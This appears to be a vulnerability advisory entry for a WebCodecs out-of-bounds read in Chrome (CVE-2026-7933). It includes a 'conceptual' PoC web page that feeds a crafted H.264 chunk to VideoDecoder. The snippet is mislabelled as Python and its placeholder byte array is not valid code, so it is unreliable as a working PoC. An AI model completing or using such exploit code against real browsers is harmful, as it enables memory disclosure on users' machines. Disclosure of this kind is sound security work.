Out of bounds read in WebCodecs in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to perform an out of bounds memory read via a crafted video file. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
Conceptual PoC for CVE-2026-7933
This script attempts to trigger a VideoDecoder with a crafted chunk.
-->
<!DOCTYPE html>
<html>
<body>
<script>
// Check if WebCodecs API is supported
if ('VideoDecoder' in window) {
const decoder = new VideoDecoder({
output: (frame) => {
console.log('Frame decoded', frame);
frame.close();
},
error: (e) => {
console.error('Decode error:', e.message);
// An error might indicate the crash or OOB read attempt
}
});
// Configuration for the decoder (H.264 or VP9 depending on the crafted video)
decoder.configure({
codec: 'avc1.64001F',
codedWidth: 1920,
codedHeight: 1080,
});
// Simulate a crafted video buffer that triggers the OOB read
// In a real scenario, this buffer would contain the specific malicious bytes
const craftedBuffer = new Uint8Array([0x00, 0x00, 0x00, 0x01, 0x67, 0x42, ...]);
const chunk = new EncodedVideoChunk({
type: 'key',
timestamp: 0,
data: craftedBuffer
});
try {
decoder.decode(chunk);
} catch (e) {
console.log('Exception during decode:', e);
}
} else {
console.log('WebCodecs API not supported in this browser.');
}
</script>
</body>
</html>